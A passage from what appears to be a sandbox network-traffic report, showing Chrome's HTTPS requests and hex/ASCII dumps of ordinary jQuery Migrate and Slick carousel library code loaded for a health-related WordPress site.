jQuery.migrateMute&&(jQuery.migrateMute=!0),function(t){"function"==typeof define&&define.amd?define(["jquery"],function(e){return t(e,win
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 72 61 74 65 54 72 61 63 65 26 26 28 73 2e 6d 69 67 72 61 74 65 54 72 61 63 65 3d 21 30 29 2c 73 2e 6d 69 67 72 61 74 65 52 65 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 3d 7b 7d 2c 73 2e 6d 69 67 72 61 74 65 57 61 72 6e 69 6e 67 73 2e 6c 65 6e 67 74 68 3d 30 7d 2c 22 42 61 63 6b 43 6f 6d 70 61 74 22 3d 3d 3d 6e 2e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6d 70 61 74 4d 6f 64 65 26 26 75 28 22 6a 51 75 65 72 79 20 69 73 20 6e 6f 74 20 63 6f 6d 70 61 74 69 62 6c 65 20 77 69 74 68 20 51 75 69 72 6b 73 20 4d 6f 64 65 22 29 3b 76 61 72 20 69 2c 61 3d 73 2e 66 6e 2e 69 6e 69 74 2c 63 3d 73 2e 66 69 6e 64 2c 64 3d 2f 5c 5b 28 5c 73 2a 5b 2d 5c 77 5d 2b 5c 73 2a 29 28 5b 7e 7c 5e 24 2a 5d 3f 3d 29 5c 73 2a 28 5b 2d 5c 77 23 5d 2a 3f 23 5b 2d 5c 77 23 5d 2a 29 5c 73 Data Ascii: rateTrace&&(s.migrateTrace=!0),s.migrateReset=function(){r={},s.migrateWarnings.length=0},"BackCompat"===n.document.compatMode&&u("jQuery is not compatible with Quirks Mode");var i,a=s.fn.init,c=s.find,d=/\[(\s[-\w]+\s)([~\|^$]?=)\s([-\w#]?#[-\w#])\s
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 72 74 22 29 2c 74 28 73 2e 65 78 70 72 2c 22 66 69 6c 74 65 72 73 22 2c 73 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2c 22 6a 51 75 65 72 79 2e 65 78 70 72 2e 66 69 6c 74 65 72 73 20 69 73 20 64 65 70 72 65 63 61 74 65 64 3b 20 75 73 65 20 6a 51 75 65 72 79 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 22 29 2c 74 28 73 2e 65 78 70 72 2c 22 3a 22 2c 73 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 2c 22 6a 51 75 65 72 79 2e 65 78 70 72 5b 27 3a 27 5d 20 69 73 20 64 65 70 72 65 63 61 74 65 64 3b 20 75 73 65 20 6a 51 75 65 72 79 2e 65 78 70 72 2e 70 73 65 75 64 6f 73 22 29 2c 65 28 22 33 2e 31 2e 31 22 29 26 26 6f 28 73 2c 22 74 72 69 6d 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 22 22 3a 28 65 2b 22 22 29 2e 72 65 70 6c 61 63 65 Data Ascii: rt"),t(s.expr,"filters",s.expr.pseudos,"jQuery.expr.filters is deprecated; use jQuery.expr.pseudos"),t(s.expr,":",s.expr.pseudos,"jQuery.expr[':'] is deprecated; use jQuery.expr.pseudos"),e("3.1.1")&&o(s,"trim",function(e){return null==e?"":(e+"").replace
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 65 64 20 61 6e 64 20 72 65 6d 6f 76 65 64 22 29 2c 6f 28 65 2c 22 63 6f 6d 70 6c 65 74 65 22 2c 65 2e 61 6c 77 61 79 73 2c 22 6a 51 58 48 52 2e 63 6f 6d 70 6c 65 74 65 20 69 73 20 64 65 70 72 65 63 61 74 65 64 20 61 6e 64 20 72 65 6d 6f 76 65 64 22 29 29 2c 65 7d 3b 76 61 72 20 6d 3d 73 2e 66 6e 2e 72 65 6d 6f 76 65 41 74 74 72 2c 67 3d 73 2e 66 6e 2e 74 6f 67 67 6c 65 43 6c 61 73 73 2c 68 3d 2f 5c 53 2b 2f 67 3b 73 2e 66 6e 2e 72 65 6d 6f 76 65 41 74 74 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 73 2e 65 61 63 68 28 65 2e 6d 61 74 63 68 28 68 29 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 73 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 26 26 28 75 28 22 6a 51 75 65 72 79 2e Data Ascii: ed and removed"),o(e,"complete",e.always,"jQXHR.complete is deprecated and removed")),e};var m=s.fn.removeAttr,g=s.fn.toggleClass,h=/\S+/g;s.fn.removeAttr=function(e){var r=this;return s.each(e.match(h),function(e,t){s.expr.match.bool.test(t)&&(u("jQuery.
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 64 61 74 61 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 76 61 72 20 6e 3b 69 66 28 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 74 26 26 32 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 29 7b 6e 3d 73 2e 68 61 73 44 61 74 61 28 65 29 26 26 51 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 3b 76 61 72 20 6f 3d 7b 7d 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 29 69 21 3d 3d 6a 28 69 29 3f 28 75 28 22 6a 51 75 65 72 79 2e 64 61 74 61 28 29 20 61 6c 77 61 79 73 20 73 65 74 73 2f 67 65 74 73 20 63 61 6d 65 6c 43 61 73 65 64 20 6e 61 6d 65 73 3a 20 22 2b 69 29 2c 6e 5b 69 5d 3d 74 5b 69 5d 29 3a 6f 5b 69 5d 3d 74 5b 69 5d 3b 72 65 74 75 72 6e 20 51 2e 63 61 6c 6c 28 74 68 69 73 2c 65 2c 6f 29 2c 74 7d 72 65 74 75 72 6e 20 74 26 26 22 Data Ascii: data=function(e,t,r){var n;if(t&&"object"==typeof t&&2===arguments.length){n=s.hasData(e)&&Q.call(this,e);var o={};for(var i in t)i!==j(i)?(u("jQuery.data() always sets/gets camelCased names: "+i),n[i]=t[i]):o[i]=t[i];return Q.call(this,e,o),t}return t&&"
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 76 65 64 3a 20 22 2b 72 29 2c 28 6f 3d 6e 2e 70 72 6f 70 73 29 26 26 6f 2e 6c 65 6e 67 74 68 29 29 77 68 69 6c 65 28 6f 2e 6c 65 6e 67 74 68 29 73 2e 65 76 65 6e 74 2e 61 64 64 50 72 6f 70 28 6f 2e 70 6f 70 28 29 29 3b 72 65 74 75 72 6e 20 74 3d 52 2e 63 61 6c 6c 28 74 68 69 73 2c 65 29 2c 6e 26 26 6e 2e 66 69 6c 74 65 72 3f 6e 2e 66 69 6c 74 65 72 28 74 2c 65 29 3a 74 7d 2c 73 2e 65 76 65 6e 74 2e 61 64 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 6e 26 26 22 6c 6f 61 64 22 3d 3d 3d 74 26 26 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 6e 2e 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 26 26 75 28 22 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 27 6c 6f 61 64 27 2e 2e 2e 29 20 63 61 6c 6c 65 64 20 61 66 Data Ascii: ved: "+r),(o=n.props)&&o.length))while(o.length)s.event.addProp(o.pop());return t=R.call(this,e),n&&n.filter?n.filter(t,e):t},s.event.add=function(e,t){return e===n&&"load"===t&&"complete"===n.document.readyState&&u("jQuery(window).on('load'...) called af
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 6f 6e 28 74 2c 65 2c 72 2c 6e 29 7d 2c 75 6e 64 65 6c 65 67 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 75 6e 64 65 6c 65 67 61 74 65 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 31 3d 3d 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3f 74 68 69 73 2e 6f 66 66 28 65 2c 22 2a 2a 22 29 3a 74 68 69 73 2e 6f 66 66 28 74 2c 65 7c 7c 22 2a 2a 22 2c 72 29 7d 2c 68 6f 76 65 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 75 28 22 6a 51 75 65 72 79 2e 66 6e 2e 68 6f 76 65 72 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 74 68 69 73 2e 6f 6e 28 22 6d 6f 75 73 65 65 6e 74 65 72 22 2c 65 29 2e 6f 6e 28 22 6d 6f 75 73 65 6c 65 61 76 65 22 2c 74 Data Ascii: on(t,e,r,n)},undelegate:function(e,t,r){return u("jQuery.fn.undelegate() is deprecated"),1===arguments.length?this.off(e,""):this.off(t,e\|\|"",r)},hover:function(e,t){return u("jQuery.fn.hover() is deprecated"),this.on("mouseenter",e).on("mouseleave",t
2024-04-24 12:44:51 UTC	537	IN	Data Raw: 6c 62 61 63 6b 73 28 22 6d 65 6d 6f 72 79 22 29 5d 5d 3b 72 65 74 75 72 6e 20 73 2e 44 65 66 65 72 72 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 69 3d 48 28 29 2c 61 3d 69 2e 70 72 6f 6d 69 73 65 28 29 3b 72 65 74 75 72 6e 20 69 2e 70 69 70 65 3d 61 2e 70 69 70 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 75 28 22 64 65 66 65 72 72 65 64 2e 70 69 70 65 28 29 20 69 73 20 64 65 70 72 65 63 61 74 65 64 22 29 2c 73 2e 44 65 66 65 72 72 65 64 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 73 2e 65 61 63 68 28 45 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 72 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 6f 5b 65 5d 26 26 6f 5b 65 5d 3b 69 5b 74 5b 31 5d 5d 28 66 75 Data Ascii: lbacks("memory")]];return s.Deferred=function(e){var i=H(),a=i.promise();return i.pipe=a.pipe=function(){var o=arguments;return u("deferred.pipe() is deprecated"),s.Deferred(function(n){s.each(E,function(e,t){var r="function"==typeof o[e]&&o[e];i[t[1]](fu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	49945	151.101.1.229	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:50 UTC	550	OUT	GET /jquery.slick/1.5.1/slick.min.js HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-24 12:44:51 UTC	724	IN	HTTP/1.1 200 OK Connection: close Content-Length: 36757 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=31536000, s-maxage=31536000, immutable Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: application/javascript; charset=utf-8 ETag: W/"8f95-/E9Gh2+p1fPXr1m0KHC/D8tmDrc" Accept-Ranges: bytes Date: Wed, 24 Apr 2024 12:44:51 GMT Age: 1475367 X-Served-By: cache-fra-etou8220093-FRA, cache-lax-kwhp1940052-LAX X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 2f 2a 0a 20 20 20 20 20 5f 20 5f 20 20 20 20 20 20 5f 20 20 20 20 20 20 20 5f 0a 20 5f 5f 5f 7c 20 28 5f 29 20 5f 5f 5f 7c 20 7c 20 5f 5f 20 20 28 5f 29 5f 5f 5f 0a 2f 20 5f 5f 7c 20 7c 20 7c 2f 20 5f 5f 7c 20 7c 2f 20 2f 20 20 7c 20 2f 20 5f 5f 7c 0a 5c 5f 5f 20 5c 20 7c 20 7c 20 28 5f 5f 7c 20 20 20 3c 20 5f 20 7c 20 5c 5f 5f 20 5c 0a 7c 5f 5f 5f 2f 5f 7c 5f 7c 5c 5f 5f 5f 7c 5f 7c 5c 5f 28 5f 29 2f 20 7c 5f 5f 5f 2f 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7c 5f 5f 2f 0a 0a 20 56 65 72 73 69 6f 6e 3a 20 31 2e 35 2e 31 0a 20 20 41 75 74 68 6f 72 3a 20 4b 65 6e 20 57 68 65 65 6c 65 72 0a 20 57 65 62 73 69 74 65 3a 20 68 74 74 70 3a 2f 2f 6b 65 6e 77 68 65 65 6c 65 72 2e 67 69 74 68 75 62 2e 69 6f 0a 20 20 20 20 44 6f 63 73 3a 20 68 74 Data Ascii: /* _ _ _ _ ___\| (_) ___\| \| __ (_)___/ __\| \| \|/ __\| \|/ / \| / __\|\__ \ \| \| (__\| < _ \| \__ \\|___/_\|_\|\___\|_\|\_(_)/ \|___/ \|__/ Version: 1.5.1 Author: Ken Wheeler Website: http://kenwheeler.github.io Docs: ht
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 2c 72 74 6c 3a 21 31 2c 73 6c 69 64 65 3a 22 22 2c 73 6c 69 64 65 73 50 65 72 52 6f 77 3a 31 2c 73 6c 69 64 65 73 54 6f 53 68 6f 77 3a 31 2c 73 6c 69 64 65 73 54 6f 53 63 72 6f 6c 6c 3a 31 2c 73 70 65 65 64 3a 35 30 30 2c 73 77 69 70 65 3a 21 30 2c 73 77 69 70 65 54 6f 53 6c 69 64 65 3a 21 31 2c 74 6f 75 63 68 4d 6f 76 65 3a 21 30 2c 74 6f 75 63 68 54 68 72 65 73 68 6f 6c 64 3a 35 2c 75 73 65 43 53 53 3a 21 30 2c 76 61 72 69 61 62 6c 65 57 69 64 74 68 3a 21 31 2c 76 65 72 74 69 63 61 6c 3a 21 31 2c 76 65 72 74 69 63 61 6c 53 77 69 70 69 6e 67 3a 21 31 2c 77 61 69 74 46 6f 72 41 6e 69 6d 61 74 65 3a 21 30 7d 2c 65 2e 69 6e 69 74 69 61 6c 73 3d 7b 61 6e 69 6d 61 74 69 6e 67 3a 21 31 2c 64 72 61 67 67 69 6e 67 3a 21 31 2c 61 75 74 6f 50 6c 61 79 54 69 6d 65 Data Ascii: ,rtl:!1,slide:"",slidesPerRow:1,slidesToShow:1,slidesToScroll:1,speed:500,swipe:!0,swipeToSlide:!1,touchMove:!0,touchThreshold:5,useCSS:!0,variableWidth:!1,vertical:!1,verticalSwiping:!1,waitForAnimate:!0},e.initials={animating:!1,dragging:!1,autoPlayTime
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 6d 6f 7a 48 69 64 64 65 6e 3f 28 65 2e 68 69 64 64 65 6e 3d 22 6d 6f 7a 48 69 64 64 65 6e 22 2c 65 2e 76 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 3d 22 6d 6f 7a 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 29 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 6d 73 48 69 64 64 65 6e 3f 28 65 2e 68 69 64 64 65 6e 3d 22 6d 73 48 69 64 64 65 6e 22 2c 65 2e 76 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 3d 22 6d 73 76 69 73 69 62 69 6c 69 74 79 63 68 61 6e 67 65 22 29 3a 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 77 65 62 6b 69 74 48 69 64 64 65 6e 26 26 28 65 2e 68 69 64 64 65 6e 3d 22 77 65 62 6b 69 74 48 69 64 64 65 Data Ascii: typeof document.mozHidden?(e.hidden="mozHidden",e.visibilityChange="mozvisibilitychange"):"undefined"!=typeof document.msHidden?(e.hidden="msHidden",e.visibilityChange="msvisibilitychange"):"undefined"!=typeof document.webkitHidden&&(e.hidden="webkitHidde
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 29 2c 65 2e 24 73 6c 69 64 65 73 43 61 63 68 65 3d 65 2e 24 73 6c 69 64 65 73 2c 65 2e 72 65 69 6e 69 74 28 29 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 61 6e 69 6d 61 74 65 48 65 69 67 68 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 68 69 73 3b 69 66 28 31 3d 3d 3d 61 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 68 6f 77 26 26 61 2e 6f 70 74 69 6f 6e 73 2e 61 64 61 70 74 69 76 65 48 65 69 67 68 74 3d 3d 3d 21 30 26 26 61 2e 6f 70 74 69 6f 6e 73 2e 76 65 72 74 69 63 61 6c 3d 3d 3d 21 31 29 7b 76 61 72 20 62 3d 61 2e 24 73 6c 69 64 65 73 2e 65 71 28 61 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 29 2e 6f 75 74 65 72 48 65 69 67 68 74 28 21 30 29 3b 61 2e 24 6c 69 73 74 2e 61 6e 69 6d 61 74 65 28 7b 68 65 69 67 68 74 3a 62 7d 2c 61 2e 6f Data Ascii: ),e.$slidesCache=e.$slides,e.reinit()},b.prototype.animateHeight=function(){var a=this;if(1===a.options.slidesToShow&&a.options.adaptiveHeight===!0&&a.options.vertical===!1){var b=a.$slides.eq(a.currentSlide).outerHeight(!0);a.$list.animate({height:b},a.o
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 69 74 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 74 68 69 73 2c 63 3d 7b 7d 3b 63 5b 62 2e 74 72 61 6e 73 69 74 69 6f 6e 54 79 70 65 5d 3d 62 2e 6f 70 74 69 6f 6e 73 2e 66 61 64 65 3d 3d 3d 21 31 3f 62 2e 74 72 61 6e 73 66 6f 72 6d 54 79 70 65 2b 22 20 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 73 70 65 65 64 2b 22 6d 73 20 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 63 73 73 45 61 73 65 3a 22 6f 70 61 63 69 74 79 20 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 73 70 65 65 64 2b 22 6d 73 20 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 63 73 73 45 61 73 65 2c 62 2e 6f 70 74 69 6f 6e 73 2e 66 61 64 65 3d 3d 3d 21 31 3f 62 2e 24 73 6c 69 64 65 54 72 61 63 6b 2e 63 73 73 28 63 29 3a 62 2e 24 73 6c 69 64 65 73 2e 65 71 28 61 29 2e 63 73 73 28 63 29 7d 2c 62 2e 70 72 6f Data Ascii: ition=function(a){var b=this,c={};c[b.transitionType]=b.options.fade===!1?b.transformType+" "+b.options.speed+"ms "+b.options.cssEase:"opacity "+b.options.speed+"ms "+b.options.cssEase,b.options.fade===!1?b.$slideTrack.css(c):b.$slides.eq(a).css(c)},b.pro
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 73 3b 69 66 28 62 2e 6f 70 74 69 6f 6e 73 2e 64 6f 74 73 3d 3d 3d 21 30 26 26 62 2e 73 6c 69 64 65 43 6f 75 6e 74 3e 62 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 68 6f 77 29 7b 66 6f 72 28 64 3d 27 3c 75 6c 20 63 6c 61 73 73 3d 22 27 2b 62 2e 6f 70 74 69 6f 6e 73 2e 64 6f 74 73 43 6c 61 73 73 2b 27 22 3e 27 2c 63 3d 30 3b 63 3c 3d 62 2e 67 65 74 44 6f 74 43 6f 75 6e 74 28 29 3b 63 2b 3d 31 29 64 2b 3d 22 3c 6c 69 3e 22 2b 62 2e 6f 70 74 69 6f 6e 73 2e 63 75 73 74 6f 6d 50 61 67 69 6e 67 2e 63 61 6c 6c 28 74 68 69 73 2c 62 2c 63 29 2b 22 3c 2f 6c 69 3e 22 3b 64 2b 3d 22 3c 2f 75 6c 3e 22 2c 62 2e 24 64 6f 74 73 3d 61 28 64 29 2e 61 70 70 65 6e 64 54 6f 28 62 2e 6f 70 74 69 6f 6e 73 2e 61 70 70 65 6e 64 44 6f 74 73 29 2c 62 2e 24 64 6f 74 73 2e Data Ascii: s;if(b.options.dots===!0&&b.slideCount>b.options.slidesToShow){for(d='<ul class="'+b.options.dotsClass+'">',c=0;c<=b.getDotCount();c+=1)d+="<li>"+b.options.customPaging.call(this,b,c)+"</li>";d+="</ul>",b.$dots=a(d).appendTo(b.options.appendDots),b.$dots.
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 65 6e 28 29 2c 61 2e 6f 70 74 69 6f 6e 73 2e 72 6f 77 73 3e 31 29 7b 66 6f 72 28 68 3d 61 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 50 65 72 52 6f 77 2a 61 2e 6f 70 74 69 6f 6e 73 2e 72 6f 77 73 2c 66 3d 4d 61 74 68 2e 63 65 69 6c 28 67 2e 6c 65 6e 67 74 68 2f 68 29 2c 62 3d 30 3b 66 3e 62 3b 62 2b 2b 29 7b 76 61 72 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 66 6f 72 28 63 3d 30 3b 63 3c 61 2e 6f 70 74 69 6f 6e 73 2e 72 6f 77 73 3b 63 2b 2b 29 7b 76 61 72 20 6a 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 66 6f 72 28 64 3d 30 3b 64 3c 61 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 50 65 72 52 6f 77 3b 64 2b 2b 29 7b 76 61 72 20 6b 3d 62 2a 68 2b 28 Data Ascii: en(),a.options.rows>1){for(h=a.options.slidesPerRowa.options.rows,f=Math.ceil(g.length/h),b=0;f>b;b++){var i=document.createElement("div");for(c=0;c<a.options.rows;c++){var j=document.createElement("div");for(d=0;d<a.options.slidesPerRow;d++){var k=bh+(
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 65 5d 29 2c 62 3d 3d 3d 21 30 26 26 28 63 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 63 2e 6f 70 74 69 6f 6e 73 2e 69 6e 69 74 69 61 6c 53 6c 69 64 65 29 2c 63 2e 72 65 66 72 65 73 68 28 29 29 29 3a 6e 75 6c 6c 21 3d 3d 63 2e 61 63 74 69 76 65 42 72 65 61 6b 70 6f 69 6e 74 26 26 28 63 2e 61 63 74 69 76 65 42 72 65 61 6b 70 6f 69 6e 74 3d 6e 75 6c 6c 2c 63 2e 6f 70 74 69 6f 6e 73 3d 63 2e 6f 72 69 67 69 6e 61 6c 53 65 74 74 69 6e 67 73 2c 62 3d 3d 3d 21 30 26 26 28 63 2e 63 75 72 72 65 6e 74 53 6c 69 64 65 3d 63 2e 6f 70 74 69 6f 6e 73 2e 69 6e 69 74 69 61 6c 53 6c 69 64 65 29 2c 63 2e 72 65 66 72 65 73 68 28 29 29 7d 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 63 68 61 6e 67 65 53 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 66 2c 67 Data Ascii: e]),b===!0&&(c.currentSlide=c.options.initialSlide),c.refresh())):null!==c.activeBreakpoint&&(c.activeBreakpoint=null,c.options=c.originalSettings,b===!0&&(c.currentSlide=c.options.initialSlide),c.refresh())}},b.prototype.changeSlide=function(b,c){var f,g
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 73 6c 69 63 6b 22 2c 62 2e 73 65 74 50 61 75 73 65 64 2e 62 69 6e 64 28 62 2c 21 31 29 29 2c 62 2e 6f 70 74 69 6f 6e 73 2e 61 72 72 6f 77 73 3d 3d 3d 21 30 26 26 62 2e 73 6c 69 64 65 43 6f 75 6e 74 3e 62 2e 6f 70 74 69 6f 6e 73 2e 73 6c 69 64 65 73 54 6f 53 68 6f 77 26 26 28 62 2e 24 70 72 65 76 41 72 72 6f 77 26 26 62 2e 24 70 72 65 76 41 72 72 6f 77 2e 6f 66 66 28 22 63 6c 69 63 6b 2e 73 6c 69 63 6b 22 2c 62 2e 63 68 61 6e 67 65 53 6c 69 64 65 29 2c 62 2e 24 6e 65 78 74 41 72 72 6f 77 26 26 62 2e 24 6e 65 78 74 41 72 72 6f 77 2e 6f 66 66 28 22 63 6c 69 63 6b 2e 73 6c 69 63 6b 22 2c 62 2e 63 68 61 6e 67 65 53 6c 69 64 65 29 29 2c 62 2e 24 6c 69 73 74 2e 6f 66 66 28 22 74 6f 75 63 68 73 74 61 72 74 2e 73 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 2e 73 6c Data Ascii: slick",b.setPaused.bind(b,!1)),b.options.arrows===!0&&b.slideCount>b.options.slidesToShow&&(b.$prevArrow&&b.$prevArrow.off("click.slick",b.changeSlide),b.$nextArrow&&b.$nextArrow.off("click.slick",b.changeSlide)),b.$list.off("touchstart.slick mousedown.sl
2024-04-24 12:44:51 UTC	1378	IN	Data Raw: 72 20 62 3d 74 68 69 73 3b 62 2e 73 68 6f 75 6c 64 43 6c 69 63 6b 3d 3d 3d 21 31 26 26 28 61 2e 73 74 6f 70 49 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 2c 61 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 29 7d 2c 62 2e 70 72 6f 74 6f 74 79 70 65 2e 64 65 73 74 72 6f 79 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 74 68 69 73 3b 62 2e 61 75 74 6f 50 6c 61 79 43 6c 65 61 72 28 29 2c 62 2e 74 6f 75 63 68 4f 62 6a 65 63 74 3d 7b 7d 2c 62 2e 63 6c 65 61 6e 55 70 45 76 65 6e 74 73 28 29 2c 61 28 22 2e 73 6c 69 63 6b 2d 63 6c 6f 6e 65 64 22 2c 62 2e 24 73 6c 69 64 65 72 29 2e 64 65 74 61 63 68 28 29 2c 62 2e 24 64 6f 74 73 26 26 62 2e 24 64 6f 74 73 2e 72 65 6d 6f 76 Data Ascii: r b=this;b.shouldClick===!1&&(a.stopImmediatePropagation(),a.stopPropagation(),a.preventDefault())},b.prototype.destroy=function(){var b=this;b.autoPlayClear(),b.touchObject={},b.cleanUpEvents(),a(".slick-cloned",b.$slider).detach(),b.$dots&&b.$dots.remov

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49949	35.222.242.251	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:44:51 UTC	763	OUT	GET /wp-content/plugins/Valley-Pro-Calculator/public/css/main.css?ver=1.0.0 HTTP/1.1 Host: valleyprohealth.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://valleyprohealth.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gid=GA1.2.1375613481.1713962665; _gat_gtag_UA_128496723_1=1; _ga_9LSM884DML=GS1.1.1713962665.1.1.1713962682.0.0.0; _ga=GA1.2.446872372.1713962665
2024-04-24 12:44:51 UTC	414	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 24 Apr 2024 12:44:51 GMT Content-Type: text/css Content-Length: 2787 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Mon, 11 Mar 2024 12:43:21 GMT Vary: Accept-Encoding ETag: "65eefc69-ae3" Cache-Control: public, max-age=31536000 Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes
